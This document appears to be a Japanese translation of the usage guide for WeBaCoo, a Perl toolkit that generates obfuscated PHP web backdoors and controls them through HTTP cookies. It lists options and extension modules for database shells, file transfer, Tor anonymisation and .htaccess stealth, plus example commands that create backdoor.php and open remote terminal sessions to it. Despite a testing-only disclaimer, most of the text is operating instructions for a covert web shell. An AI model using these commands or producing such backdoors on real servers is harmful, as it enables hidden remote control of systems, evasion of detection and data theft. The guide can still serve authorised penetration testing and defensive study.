| | | | | ___ \ / __ \
| | | | | |/ / __ | / / ___ ___
| |/| |/ _ \ ___ / ` | | / _ \ / _ \
\ /\ / __/ |/ / (| | _/\ () | (_) |
/ / __/ _,|_/_/ _/
Web Backdoor Cookie Script-Kit
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
著者: Anestis Bechtsoudis @ bechtsoudis.com Copyright (C) 2011-2012 Anestis Bechtsoudis
このツールはテスト目的のみであり、厳格な同意が得られた場合にのみ使用できます。違法な目的で使用しないでください。
本アプリケーションの修正、変更、改変は許容されますが、本コードを利用した公開リリースは作成者の承認を得る必要があります。詳細はLICENSEファイルを参照してください。
Torプロキシ機能のために「libio-socket-socks-perl」をインストールしたくない場合は、webacoo.plの25行目をコメントアウトしてください。
webacoo.pl [オプション]
オプション: -g バックドアコードを生成（-o が必要）
-f FUNCTION 使用するPHPシステム関数 FUNCTION 1: system （デフォルト） 2: shell_exec 3: exec 4: passthru 5: popen
-o OUTPUT 生成されたバックドアの出力ファイル名
-r 難読化されていないバックドアコードを返す
-t リモート「ターミナル」接続を確立（-u が必要）
-u URL バックドアのURL
-e CMD 単一コマンド実行モード（-t と -u が必要）
-m METHOD 使用するHTTPメソッド（デフォルトは「GET」）
-c C_NAME Cookie名（デフォルト：「M-cookie」）
-d DELIM 区切り文字（デフォルト：リクエストごとに新しいランダム）
-a AGENT HTTPヘッダーのUser-Agent（デフォルトあり）
-p PROXY プロキシを使用（tor、ip:port、または user:pass:ip:port）
-v LEVEL 冗長レベル LEVEL 0: 追加情報なし（デフォルト） 1: HTTPヘッダーを表示 2: HTTPヘッダー＋データを表示
-l LOG アクティビティをファイルに記録
-h ヘルプを表示して終了
update アップデートを確認し、あれば適用
バージョン0.2.1から、拡張モジュールのサポートが追加され、WeBaCooに追加機能を提供します。ターミナルモード内で「load」を実行すると、利用可能なモジュールがリスト表示され、リストから目的のモジュールを初期化できます。「unload」と入力すると、初期のターミナルモードに戻ります。
利用可能な拡張モジュール: o mysql-cli MySQLコマンドラインモジュール o psql-cli Postgresコマンドラインモジュール o upload HTTP Postを使用したファイルアップロードモジュール o download 「od」と「xxd」を使用したstdout出力によるファイルダウンロードモジュール o stealth .htaccess処理によるステルス性向上モジュール
デフォルト設定で難読化されたバックドア「backdoor.php」を作成 ./webacoo.pl -g -o backdoor.php
「passthru」関数を使用し、難読化されていないバックドア「raw-backdoor.php」を作成 ./webacoo.pl -g -o raw-backdoor.php -f 4 -r
デフォルト設定でリモートホストと「ターミナル」接続を確立 ./webacoo.pl -t -u http://127.0.0.1/backdoor.php
いくつかの引数を設定してリモートホストと「ターミナル」接続を確立 ./webacoo.pl -t -u http://127.0.0.1/backdoor.php -c "Test-Cookie" -d "TtT"
ローカルHTTPプロキシ経由でリモートホストと「ターミナル」接続を確立 ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p 127.0.0.1:8080
ベーシック認証付きHTTPプロキシ経由でリモートホストと「ターミナル」接続を確立 ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p user:password:10.0.1.8:3128
Tor経由でリモートホストと「ターミナル」接続を確立し、アクティビティを記録 ./webacoo.pl -t -u http://example.com/backdoor.php -p tor -l webacoo_log.txt